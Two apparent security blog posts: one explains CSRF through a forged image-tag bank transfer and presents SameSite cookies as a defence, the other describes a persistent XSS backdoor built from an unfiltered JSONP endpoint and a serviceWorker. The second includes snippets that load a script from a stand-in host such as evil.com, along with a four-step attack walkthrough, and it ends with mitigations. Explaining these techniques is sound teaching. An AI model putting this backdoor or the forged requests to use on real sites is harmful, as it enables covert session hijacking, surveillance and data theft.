Intro to SameSite Cookies (CSRF Protection)

A pretty common web attack involves hijacking a user’s session to get them to perform actions on your behalf.

An example attack:

Lets say Bob signs into his bank account at bank.com

Untitled drawing (2).png

From now on, whenever Bob interacts with bank.com the browser will send his cookies so that bank.com knows that the request was made by Bob.

Lets say Eve knows that he is logged into bank.com and sends him a message like:

Hey Bob,

Check out this sweet cat picture:

<img src=”https://bank.com/transfer.php?amount=10000&from=bob&t0=eve”&gt;

Sincerely :),

Eve

When Bob loads this message, his browser will make a web request to load the image.  The session cookies will be sent. But it’s not actually in image (the browser doesn’t know this), it’s a bank transfer. A bank transfer will be performed and Bob just lost all his money.

Normally you’d protect against this using csrf tokens, and use a http POST for this state changing request. See here for more information.

SameSite Cookie Flag

A new protection was recently introduced into Chrome that allows servers to instruct clients on when to send session cookies.

The problem in the bank.com CSRF attack is tricky. The browser did the right thing by trying to load the image, and it did the right thing by sending the cookies to bank.com (bank.com told the browser to always send the cookies). But the bank still failed bob. Confused deputy.

SameSite cookie flag is a way for bank.com to protect their users against this attack. When Eve sent bob the message that had the embedded image, did cookies really need to be sent to load an image? Probably not.

Using SameSite, websites can tell clients to only send cookies if the request originated from the same site.

Once you’re on bank.com it makes sense to initiate transfers. But it doesn’t make sense to initiate transfers from gmail.com or any other website. So in the previous attack example, since the transfer didn’t originate on bank.com, Bob will probably see a login page instead of a transaction receipt.

Using SameSite Cookie Flag

To set cookie, simply add the SameSite flag to the cookie like:

Set-Cookie: Session=6fa459ea-ee8a-3ca4-894e-db77e160355e; SameSite=Strict

You can specify how strict you want the SameSite restrictions to be. I’d recommend just using Strict and playing with the website for a bit, specially if you’re using a SPA.

The three options are None, Lax, and Strict. None is what a normal cookie uses. The different between Lax and Strict is mainly whether or not full page loads (like clicking on a link to bank.com) will send the cookies. Lax will send the cookies.

To read more, checkout the RFC draft. Or google it.

Some Thoughts

 

Advertisements

XSS persistence using JSONP and serviceWorkers

One of my favorite exploits in the world is this web attack that allows you to maintain access to a website within a users browser indefinitely. Even if they close the browser and come back without a session you’ll still be hooked. It works by combining an unfiltered JSONP route, serviceWorkers, and an XSS to create a persistent backdoor on a website.

Intro to serviceWorkers

serviceWorkers are a relatively new web technology that allow you to intercept web requests. Their original intention was to create a technology that’d allow websites to work offline. serviceWorkers can be used to intercept web requests and return a cached version, making your website usable even with no internet connection.

A great introduction to serviceWorkers can be found here.

But essentially you write a script that’ll intercept web requests using the onfetch handler, and check to see if you have the content. If you have the content you return it, if you don’t you attempt to make a web request, and cache the response.

Untitled drawing (1).png

Using ServiceWorkers for evil

serviceWorkers also give you the ability to return arbitrary content.

For example:


this.addEventListener('fetch', function(event) {
   event.respondWith(new Response("
<h1> Intercepted!</h1>
"));
});

So putting our evil hats on. What if you were to fetch a resource, and then return a modified version of the content?


<html>
<body>
.....

<script src="https://evil.endpoint/backdoor.js</script> //---- Parse and inject arbitrary script here without the user knowing

</body>

</html>

You could inject your own scripts at the end of each request indefinitely, and the user would have no idea. All other resources get passed through the caching layer unnoticed.

JSONP Endpoint

There’s a catch with serviceWorkers though. They can only be installed from a resource on the same domain.

Meaning to install a serviceWorker on c0nrad.io, we’d need to register the serviceWorker like:


navigator.serviceWorker.register('https://c0nrad.io/backGroundScript.js')

But unfiltered JSONP endpoints come to the rescue! JSONP stands for JSON with padding. But basically a JSONP takes a query parameter and wraps the javascript data in the function.

/jsonp?callback=myAwesomeFunction returns:

var calculatedDataOrSomething = { "hello": 1 }; myAwesomeFunction(1);`

This is either useful for bypassing SOP (you can download javascript from a remote domain, but not JSON) or just developer convenience.

But if the JSONP is unfiltered, you can return arbitrary javascript.

Instead ask for:

<script src="/jsonp?callback=(code that waits for fetch, and inserts <script src="evil.com/backdoor.js"> into each web request)">

Then if you register the service worker using this JSONP endpoint, the serviceWorker factory is happy.

Full Attack Walkthrough

1.) Create the final payload (stealing emails, monitoring bank accounts etc)

2.) Bootstrap the payload using the JSONP

3.) Inject the payload using an XSS onto a victim

4.) Enjoy your long lived persistence

Use Cases

I’d mainly use this to maintain persistence and scrape information. The best targets would be email/social media/private forms. You’d have execution and can see anything a user can do.

You could apply it to banks, but, if you already have an XSS, you don’t really need this attack. This is just for persistence.

Mitigations

1.) Filter you JSONP endpoints. They should only allow alphanumeric and maybe periods and dashes.

2.) No XSS. Easier than it sounds, but make sure you’re following your frameworks. Input filtering, output encoding. Content-Security-Policy is also awesome, but if you have an open JSONP endpoint it’s not going to do too much good.